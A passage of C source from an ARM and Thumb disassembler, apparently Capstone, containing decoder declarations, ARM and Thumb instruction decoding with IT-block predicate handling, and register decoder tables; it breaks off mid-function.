static DecodeStatus DecodeSORegRegOperand(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeMemMultipleWritebackInstruction(MCInst * Inst,
unsigned Insn, uint64_t Adddress, const void *Decoder);
static DecodeStatus DecodeT2MOVTWInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeArmMOVTWInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSMLAInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeCPSInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2CPSInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeAddrModeImm12Operand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeAddrMode5Operand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeAddrMode7Operand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2BInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeBranchImmInstruction(MCInst *Inst,unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeAddrMode6Operand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLDST1Instruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLDST2Instruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLDST3Instruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLDST4Instruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLDInstruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVSTInstruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLD1DupInstruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLD2DupInstruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLD3DupInstruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLD4DupInstruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeNEONModImmInstruction(MCInst *Inst,unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVSHLMaxInstruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeShiftRight8Imm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeShiftRight16Imm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeShiftRight32Imm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeShiftRight64Imm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeTBLInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodePostIdxReg(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeCoprocessor(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeMemBarrierOption(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeInstSyncBarrierOption(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeMSRMask(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeDoubleRegLoad(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeDoubleRegStore(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeLDRPreImm(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeLDRPreReg(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSTRPreImm(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSTRPreReg(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLD1LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLD2LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLD3LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVLD4LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVST1LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVST2LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVST3LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVST4LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVMOVSRR(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVMOVRRS(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSwap(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVCVTD(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeVCVTQ(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbAddSpecialReg(MCInst *Inst, uint16_t Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbBROperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2BROperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbCmpBROperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbAddrModeRR(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbAddrModeIS(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbAddrModePC(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbAddrModeSP(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2AddrModeSOReg(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2LoadShift(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2LoadImm8(MCInst *Inst, unsigned Insn,
uint64_t Address, const void* Decoder);
static DecodeStatus DecodeT2LoadImm12(MCInst *Inst, unsigned Insn,
uint64_t Address, const void* Decoder);
static DecodeStatus DecodeT2LoadT(MCInst *Inst, unsigned Insn,
uint64_t Address, const void* Decoder);
static DecodeStatus DecodeT2LoadLabel(MCInst *Inst, unsigned Insn,
uint64_t Address, const void* Decoder);
static DecodeStatus DecodeT2Imm8S4(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2AddrModeImm8s4(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2AddrModeImm0_1020s4(MCInst *Inst,unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2Imm8(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2AddrModeImm8(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbAddSPImm(MCInst *Inst, uint16_t Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbAddSPReg(MCInst *Inst, uint16_t Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbCPS(MCInst *Inst, uint16_t Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeQADDInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbBLXOffset(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2AddrModeImm12(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbTableBranch(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumb2BCCInstruction(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2SOImm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbBCCTargetOperand(MCInst *Inst,unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeThumbBLTargetOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeIT(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2LDRDPreInstruction(MCInst *Inst,unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2STRDPreInstruction(MCInst *Inst,unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2Adr(MCInst *Inst, uint32_t Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2LdStPre(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeT2ShifterImmOperand(MCInst *Inst, uint32_t Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeLDR(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeMRRC2(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
// Hacky: enable all features for disassembler
uint64_t ARM_getFeatureBits(unsigned int mode)
{
uint64_t Bits = (uint64_t)-1; // everything by default
// FIXME: ARM_FeatureVFPOnlySP is conflicting with everything else??
Bits &= (~ARM_FeatureVFPOnlySP);
// FIXME: no Armv8 support?
//Bits -= ARM_HasV7Ops;
//Bits &= ~ARM_FeatureMP;
if ((mode & CS_MODE_V8) == 0)
Bits &= ~ARM_HasV8Ops;
//Bits &= ~ARM_HasV6Ops;
if ((mode & CS_MODE_MCLASS) == 0)
Bits &= (~ARM_FeatureMClass);
// some features are mutually exclusive
if (mode & CS_MODE_THUMB) {
//Bits &= ~ARM_HasV6Ops;
//Bits &= ~ARM_FeatureCRC;
//Bits &= ~ARM_HasV5TEOps;
//Bits &= ~ARM_HasV4TOps;
//Bits &= ~ARM_HasV6T2Ops;
//Bits &= ~ARM_FeatureDB;
//Bits &= ~ARM_FeatureHWDivARM;
//Bits &= ~ARM_FeatureNaClTrap;
//Bits &= ~ARM_FeatureMClass;
// ArmV8
} else { // ARM mode
Bits &= ~ARM_ModeThumb;
Bits &= ~ARM_FeatureThumb2;
}
return Bits;
}
#include "ARMGenDisassemblerTables.inc"
static DecodeStatus DecodePredicateOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
if (Val == 0xF) return MCDisassembler_Fail;
// AL predicate is not allowed on Thumb1 branches.
if (MCInst_getOpcode(Inst) == ARM_tBcc && Val == 0xE)
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, Val);
if (Val == ARMCC_AL) {
MCOperand_CreateReg0(Inst, 0);
} else
MCOperand_CreateReg0(Inst, ARM_CPSR);
return MCDisassembler_Success;
}
#define GET_REGINFO_MC_DESC
#include "ARMGenRegisterInfo.inc"
void ARM_init(MCRegisterInfo *MRI)
{
/*
InitMCRegisterInfo(ARMRegDesc, 289,
RA, PC,
ARMMCRegisterClasses, 100,
ARMRegUnitRoots, 77, ARMRegDiffLists, ARMRegStrings,
ARMSubRegIdxLists, 57,
ARMSubRegIdxRanges, ARMRegEncodingTable);
*/
MCRegisterInfo_InitMCRegisterInfo(MRI, ARMRegDesc, 289,
0, 0,
ARMMCRegisterClasses, 100,
0, 0, ARMRegDiffLists, 0,
ARMSubRegIdxLists, 57,
0);
}
static DecodeStatus _ARM_getInstruction(cs_struct *ud, MCInst *MI, const uint8_t *code, size_t code_len,
uint16_t *Size, uint64_t Address)
{
uint32_t insn, i;
uint8_t bytes[4];
DecodeStatus result;
if (code_len < 4)
// not enough data
return MCDisassembler_Fail;
if (MI->flat_insn->detail) {
memset(&MI->flat_insn->detail->arm, 0, sizeof(cs_arm));
for (i = 0; i < ARR_SIZE(MI->flat_insn->detail->arm.operands); i++)
MI->flat_insn->detail->arm.operands[i].vector_index = -1;
}
memcpy(bytes, code, 4);
if (ud->big_endian)
insn = (bytes[3] << 0) |
(bytes[2] << 8) |
(bytes[1] << 16) |
(bytes[0] << 24);
else
insn = (bytes[3] << 24) |
(bytes[2] << 16) |
(bytes[1] << 8) |
(bytes[0] << 0);
// Calling the auto-generated decoder function.
result = decodeInstruction_4(DecoderTableARM32, MI, insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
// VFP and NEON instructions, similarly, are shared between ARM
// and Thumb modes.
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableVFP32, MI, insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableVFPV832, MI, insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableNEONData32, MI, insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
// Add a fake predicate operand, because we share these instruction
// definitions with Thumb2 where these instructions are predicable.
if (!DecodePredicateOperand(MI, 0xE, Address, NULL))
return MCDisassembler_Fail;
return result;
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableNEONLoadStore32, MI, insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
// Add a fake predicate operand, because we share these instruction
// definitions with Thumb2 where these instructions are predicable.
if (!DecodePredicateOperand(MI, 0xE, Address, NULL))
return MCDisassembler_Fail;
return result;
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableNEONDup32, MI, insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
// Add a fake predicate operand, because we share these instruction
// definitions with Thumb2 where these instructions are predicable.
if (!DecodePredicateOperand(MI, 0xE, Address, NULL))
return MCDisassembler_Fail;
return result;
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTablev8NEON32, MI, insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTablev8Crypto32, MI, insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
MCInst_clear(MI);
*Size = 0;
return MCDisassembler_Fail;
}
// Thumb1 instructions don't have explicit S bits. Rather, they
// implicitly set CPSR. Since it's not represented in the encoding, the
// auto-generated decoder won't inject the CPSR operand. We need to fix
// that as a post-pass.
static void AddThumb1SBit(MCInst *MI, bool InITBlock)
{
MCOperandInfo *OpInfo = ARMInsts[MCInst_getOpcode(MI)].OpInfo;
unsigned short NumOps = ARMInsts[MCInst_getOpcode(MI)].NumOperands;
unsigned i;
for (i = 0; i < NumOps; ++i) {
if (i == MCInst_getNumOperands(MI)) break;
if (MCOperandInfo_isOptionalDef(&OpInfo[i]) && OpInfo[i].RegClass == ARM_CCRRegClassID) {
if (i > 0 && MCOperandInfo_isPredicate(&OpInfo[i-1])) continue;
MCInst_insert0(MI, i, MCOperand_CreateReg1(MI, InITBlock ? 0 : ARM_CPSR));
return;
}
}
//MI.insert(I, MCOperand_CreateReg0(Inst, InITBlock ? 0 : ARM_CPSR));
MCInst_insert0(MI, i, MCOperand_CreateReg1(MI, InITBlock ? 0 : ARM_CPSR));
}
// Most Thumb instructions don't have explicit predicates in the
// encoding, but rather get their predicates from IT context. We need
// to fix up the predicate operands using this context information as a
// post-pass.
static DecodeStatus AddThumbPredicate(cs_struct *ud, MCInst *MI)
{
DecodeStatus S = MCDisassembler_Success;
MCOperandInfo *OpInfo;
unsigned short NumOps;
unsigned int i;
unsigned CC;
// A few instructions actually have predicates encoded in them. Don't
// try to overwrite it if we're seeing one of those.
switch (MCInst_getOpcode(MI)) {
case ARM_tBcc:
case ARM_t2Bcc:
case ARM_tCBZ:
case ARM_tCBNZ:
case ARM_tCPS:
case ARM_t2CPS3p:
case ARM_t2CPS2p:
case ARM_t2CPS1p:
case ARM_tMOVSr:
case ARM_tSETEND:
// Some instructions (mostly conditional branches) are not
// allowed in IT blocks.
if (ITStatus_instrInITBlock(&(ud->ITBlock)))
S = MCDisassembler_SoftFail;
else
return MCDisassembler_Success;
break;
case ARM_tB:
case ARM_t2B:
case ARM_t2TBB:
case ARM_t2TBH:
// Some instructions (mostly unconditional branches) can
// only appears at the end of, or outside of, an IT.
//if (ITBlock.instrInITBlock() && !ITBlock.instrLastInITBlock())
if (ITStatus_instrInITBlock(&(ud->ITBlock)) && !ITStatus_instrLastInITBlock(&(ud->ITBlock)))
S = MCDisassembler_SoftFail;
break;
default:
break;
}
// If we're in an IT block, base the predicate on that. Otherwise,
// assume a predicate of AL.
CC = ITStatus_getITCC(&(ud->ITBlock));
if (CC == 0xF)
CC = ARMCC_AL;
if (ITStatus_instrInITBlock(&(ud->ITBlock)))
ITStatus_advanceITState(&(ud->ITBlock));
OpInfo = ARMInsts[MCInst_getOpcode(MI)].OpInfo;
NumOps = ARMInsts[MCInst_getOpcode(MI)].NumOperands;
for (i = 0; i < NumOps; ++i) {
if (i == MCInst_getNumOperands(MI)) break;
if (MCOperandInfo_isPredicate(&OpInfo[i])) {
MCInst_insert0(MI, i, MCOperand_CreateImm1(MI, CC));
if (CC == ARMCC_AL)
MCInst_insert0(MI, i+1, MCOperand_CreateReg1(MI, 0));
else
MCInst_insert0(MI, i+1, MCOperand_CreateReg1(MI, ARM_CPSR));
return S;
}
}
MCInst_insert0(MI, i, MCOperand_CreateImm1(MI, CC));
if (CC == ARMCC_AL)
MCInst_insert0(MI, i+1, MCOperand_CreateReg1(MI, 0));
else
MCInst_insert0(MI, i+1, MCOperand_CreateReg1(MI, ARM_CPSR));
return S;
}
// Thumb VFP instructions are a special case. Because we share their
// encodings between ARM and Thumb modes, and they are predicable in ARM
// mode, the auto-generated decoder will give them an (incorrect)
// predicate operand. We need to rewrite these operands based on the IT
// context as a post-pass.
static void UpdateThumbVFPPredicate(cs_struct *ud, MCInst *MI)
{
unsigned CC;
unsigned short NumOps;
MCOperandInfo *OpInfo;
unsigned i;
CC = ITStatus_getITCC(&(ud->ITBlock));
if (ITStatus_instrInITBlock(&(ud->ITBlock)))
ITStatus_advanceITState(&(ud->ITBlock));
OpInfo = ARMInsts[MCInst_getOpcode(MI)].OpInfo;
NumOps = ARMInsts[MCInst_getOpcode(MI)].NumOperands;
for (i = 0; i < NumOps; ++i) {
if (MCOperandInfo_isPredicate(&OpInfo[i])) {
MCOperand_setImm(MCInst_getOperand(MI, i), CC);
if (CC == ARMCC_AL)
MCOperand_setReg(MCInst_getOperand(MI, i+1), 0);
else
MCOperand_setReg(MCInst_getOperand(MI, i+1), ARM_CPSR);
return;
}
}
}
static DecodeStatus _Thumb_getInstruction(cs_struct *ud, MCInst *MI, const uint8_t *code, size_t code_len,
uint16_t *Size, uint64_t Address)
{
uint8_t bytes[4];
uint16_t insn16;
DecodeStatus result;
bool InITBlock;
unsigned Firstcond, Mask;
uint32_t NEONLdStInsn, insn32, NEONDataInsn, NEONCryptoInsn, NEONv8Insn;
size_t i;
// We want to read exactly 2 bytes of data.
if (code_len < 2)
// not enough data
return MCDisassembler_Fail;
if (MI->flat_insn->detail) {
memset(&MI->flat_insn->detail->arm, 0, sizeof(cs_arm));
for (i = 0; i < ARR_SIZE(MI->flat_insn->detail->arm.operands); i++)
MI->flat_insn->detail->arm.operands[i].vector_index = -1;
}
memcpy(bytes, code, 2);
if (ud->big_endian)
insn16 = (bytes[0] << 8) | bytes[1];
else
insn16 = (bytes[1] << 8) | bytes[0];
result = decodeInstruction_2(DecoderTableThumb16, MI, insn16, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 2;
Check(&result, AddThumbPredicate(ud, MI));
return result;
}
MCInst_clear(MI);
result = decodeInstruction_2(DecoderTableThumbSBit16, MI, insn16, Address, NULL, ud->mode);
if (result) {
*Size = 2;
InITBlock = ITStatus_instrInITBlock(&(ud->ITBlock));
Check(&result, AddThumbPredicate(ud, MI));
AddThumb1SBit(MI, InITBlock);
return result;
}
MCInst_clear(MI);
result = decodeInstruction_2(DecoderTableThumb216, MI, insn16, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 2;
// Nested IT blocks are UNPREDICTABLE. Must be checked before we add
// the Thumb predicate.
if (MCInst_getOpcode(MI) == ARM_t2IT && ITStatus_instrInITBlock(&(ud->ITBlock)))
result = MCDisassembler_SoftFail;
Check(&result, AddThumbPredicate(ud, MI));
// If we find an IT instruction, we need to parse its condition
// code and mask operands so that we can apply them correctly
// to the subsequent instructions.
if (MCInst_getOpcode(MI) == ARM_t2IT) {
Firstcond = (unsigned int)MCOperand_getImm(MCInst_getOperand(MI, 0));
Mask = (unsigned int)MCOperand_getImm(MCInst_getOperand(MI, 1));
ITStatus_setITState(&(ud->ITBlock), (char)Firstcond, (char)Mask);
}
return result;
}
// We want to read exactly 4 bytes of data.
if (code_len < 4)
// not enough data
return MCDisassembler_Fail;
memcpy(bytes, code, 4);
if (ud->big_endian)
insn32 = (bytes[3] << 24) |
(bytes[2] << 16) |
(bytes[1] << 8) |
(bytes[0] << 0);
else
insn32 = (bytes[3] << 8) |
(bytes[2] << 0) |
(bytes[1] << 24) |
(bytes[0] << 16);
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableThumb32, MI, insn32, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
InITBlock = ITStatus_instrInITBlock(&(ud->ITBlock));
Check(&result, AddThumbPredicate(ud, MI));
AddThumb1SBit(MI, InITBlock);
return result;
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableThumb232, MI, insn32, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
Check(&result, AddThumbPredicate(ud, MI));
return result;
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableVFP32, MI, insn32, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
UpdateThumbVFPPredicate(ud, MI);
return result;
}
if (fieldFromInstruction_4(insn32, 28, 4) == 0xE) {
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableVFP32, MI, insn32, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
UpdateThumbVFPPredicate(ud, MI);
return result;
}
}
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableVFPV832, MI, insn32, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
if (fieldFromInstruction_4(insn32, 28, 4) == 0xE) {
MCInst_clear(MI);
result = decodeInstruction_4(DecoderTableNEONDup32, MI, insn32, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
Check(&result, AddThumbPredicate(ud, MI));
return result;
}
}
if (fieldFromInstruction_4(insn32, 24, 8) == 0xF9) {
MCInst_clear(MI);
NEONLdStInsn = insn32;
NEONLdStInsn &= 0xF0FFFFFF;
NEONLdStInsn |= 0x04000000;
result = decodeInstruction_4(DecoderTableNEONLoadStore32, MI, NEONLdStInsn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
Check(&result, AddThumbPredicate(ud, MI));
return result;
}
}
if (fieldFromInstruction_4(insn32, 24, 4) == 0xF) {
MCInst_clear(MI);
NEONDataInsn = insn32;
NEONDataInsn &= 0xF0FFFFFF; // Clear bits 27-24
NEONDataInsn |= (NEONDataInsn & 0x10000000) >> 4; // Move bit 28 to bit 24
NEONDataInsn |= 0x12000000; // Set bits 28 and 25
result = decodeInstruction_4(DecoderTableNEONData32, MI, NEONDataInsn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
Check(&result, AddThumbPredicate(ud, MI));
return result;
}
}
MCInst_clear(MI);
NEONCryptoInsn = insn32;
NEONCryptoInsn &= 0xF0FFFFFF; // Clear bits 27-24
NEONCryptoInsn |= (NEONCryptoInsn & 0x10000000) >> 4; // Move bit 28 to bit 24
NEONCryptoInsn |= 0x12000000; // Set bits 28 and 25
result = decodeInstruction_4(DecoderTablev8Crypto32, MI, NEONCryptoInsn,
Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
MCInst_clear(MI);
NEONv8Insn = insn32;
NEONv8Insn &= 0xF3FFFFFF; // Clear bits 27-26
result = decodeInstruction_4(DecoderTablev8NEON32, MI, NEONv8Insn, Address, NULL, ud->mode);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
MCInst_clear(MI);
*Size = 0;
return MCDisassembler_Fail;
}
bool Thumb_getInstruction(csh ud, const uint8_t *code, size_t code_len, MCInst *instr,
uint16_t *size, uint64_t address, void *info)
{
DecodeStatus status = _Thumb_getInstruction((cs_struct *)ud, instr, code, code_len, size, address);
//return status == MCDisassembler_Success;
return status != MCDisassembler_Fail;
}
bool ARM_getInstruction(csh ud, const uint8_t *code, size_t code_len, MCInst *instr,
uint16_t *size, uint64_t address, void *info)
{
DecodeStatus status = _ARM_getInstruction((cs_struct *)ud, instr, code, code_len, size, address);
//return status == MCDisassembler_Success;
return status != MCDisassembler_Fail;
}
static const uint16_t GPRDecoderTable[] = {
ARM_R0, ARM_R1, ARM_R2, ARM_R3,
ARM_R4, ARM_R5, ARM_R6, ARM_R7,
ARM_R8, ARM_R9, ARM_R10, ARM_R11,
ARM_R12, ARM_SP, ARM_LR, ARM_PC
};
static DecodeStatus DecodeGPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
unsigned Register;
if (RegNo > 15)
return MCDisassembler_Fail;
Register = GPRDecoderTable[RegNo];
MCOperand_CreateReg0(Inst, Register);
return MCDisassembler_Success;
}
static DecodeStatus DecodeGPRnopcRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
if (RegNo == 15)
S = MCDisassembler_SoftFail;
Check(&S, DecodeGPRRegisterClass(Inst, RegNo, Address, Decoder));
return S;
}
static DecodeStatus DecodeGPRwithAPSRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
if (RegNo == 15) {
MCOperand_CreateReg0(Inst, ARM_APSR_NZCV);
return MCDisassembler_Success;
}
Check(&S, DecodeGPRRegisterClass(Inst, RegNo, Address, Decoder));
return S;
}
static DecodeStatus DecodetGPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
if (RegNo > 7)
return MCDisassembler_Fail;
return DecodeGPRRegisterClass(Inst, RegNo, Address, Decoder);
}
static const uint16_t GPRPairDecoderTable[] = {
ARM_R0_R1, ARM_R2_R3, ARM_R4_R5, ARM_R6_R7,
ARM_R8_R9, ARM_R10_R11, ARM_R12_SP
};
static DecodeStatus DecodeGPRPairRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
unsigned RegisterPair;
DecodeStatus S = MCDisassembler_Success;
if (RegNo > 13)
return MCDisassembler_Fail;
if ((RegNo & 1) || RegNo == 0xe)
S = MCDisassembler_SoftFail;
RegisterPair = GPRPairDecoderTable[RegNo/2];
MCOperand_CreateReg0(Inst, RegisterPair);
return S;
}
static DecodeStatus DecodetcGPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
unsigned Register = 0;
switch (RegNo) {
case 0:
Register = ARM_R0;
break;
case 1:
Register = ARM_R1;
break;
case 2:
Register = ARM_R2;
break;
case 3:
Register = ARM_R3;
break;
case 9:
Register = ARM_R9;
break;
case 12:
Register = ARM_R12;
break;
default:
return MCDisassembler_Fail;
}
MCOperand_CreateReg0(Inst, Register);
return MCDisassembler_Success;
}
static DecodeStatus DecoderGPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
if (RegNo == 13 || RegNo == 15)
S = MCDisassembler_SoftFail;
Check(&S, DecodeGPRRegisterClass(Inst, RegNo, Address, Decoder));
return S;
}
static const uint16_t SPRDecoderTable[] = {
ARM_S0, ARM_S1, ARM_S2, ARM_S3,
ARM_S4, ARM_S5, ARM_S6, ARM_S7,
ARM_S8, ARM_S9, ARM_S10, ARM_S11,
ARM_S12, ARM_S13, ARM_S14, ARM_S15,
ARM_S16, ARM_S17, ARM_S18, ARM_S19,
ARM_S20, ARM_S21, ARM_S22, ARM_S23,
ARM_S24, ARM_S25, ARM_S26, ARM_S27,
ARM_S28, ARM_S29, ARM_S30, ARM_S31
};
static DecodeStatus DecodeSPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
unsigned Register;
if (RegNo > 31)
